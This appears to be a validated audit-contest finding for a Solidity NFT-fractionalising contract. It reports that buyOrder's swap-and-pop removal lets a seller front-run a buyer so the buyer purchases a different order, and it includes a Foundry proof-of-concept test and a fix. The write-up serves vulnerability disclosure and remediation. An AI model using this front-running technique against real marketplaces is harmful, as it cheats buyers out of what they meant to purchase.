Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

MEV(front running) attack is vulnerable on buyOrder function

Description:

When an order is purchased, the remaining orders are shifted,
causing the same orderIndex to reference a different order.
This behavior is vulnerable to MEV(front running) attacks.

function buyOrder(uint256 orderIndex, address seller) external payable {
...
@> s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
@> s_userToSellOrders[seller].pop();
...
}

Impact:

If a seller places multiple sell orders first and detects a buyer sending a
transaction to purchase their order,
the seller can frontrun by buying their own order. This shifts the other orders,
causing the buyer to purchase the wrong one.

Proof of Concept:

add the following in test/unit/TokenDividerTest.t.sol

address public HACKER = makeAddr("hacker");
...
function testMEVAttack() public {
vm.deal(HACKER, STARTING_USER_BALANCE);
erc721Mock.mint(HACKER);
uint256 tokenId = 1;
assertEq(erc721Mock.ownerOf(tokenId), HACKER);
vm.startPrank(HACKER);
// 1.divide nft
erc721Mock.approve(address(tokenDivider), tokenId);
tokenDivider.divideNft(address(erc721Mock), tokenId, AMOUNT);
ERC20Mock erc20Mock = ERC20Mock(tokenDivider.getErc20InfoFromNft(address(erc721Mock)).erc20Address);
// 2.put 2 sell orders with same price but different amount
uint256 sellAmount1 = AMOUNT / 2;
uint256 sellAmount2 = 1;
uint256 price = 1e18;
erc20Mock.approve(address(tokenDivider), sellAmount1);
tokenDivider.sellErc20(address(erc721Mock), price, sellAmount1);
erc20Mock.approve(address(tokenDivider), sellAmount2);
tokenDivider.sellErc20(address(erc721Mock), price, sellAmount2);
assertEq(tokenDivider.getOrderPrice(HACKER, 0), price);
assertEq(tokenDivider.getOrderPrice(HACKER, 1), price);
vm.stopPrank();
// 3.when another user buy the 1st order, seller can front run to buy the 1st order, causing user accidentally buy the 2nd order
uint256 fee = price / 100;
uint256 sellerFee = fee / 2;
uint256 sentValue = price + sellerFee;
vm.prank(HACKER);
tokenDivider.buyOrder{value: sentValue}(0, HACKER);
vm.prank(USER2);
tokenDivider.buyOrder{value: sentValue}(0, HACKER);
assertEq(tokenDivider.getBalanceOf(USER2, address(erc20Mock)), sellAmount2);
}

then run forge test --mt testMEVAttack, the final fraction token USER2 got is only 1 instead of half of the total amount.

Recommended Mitigation:

Utilize a mapping with the nonce as the key to store orders, ensuring the nonce only increments.

Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Front-running

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.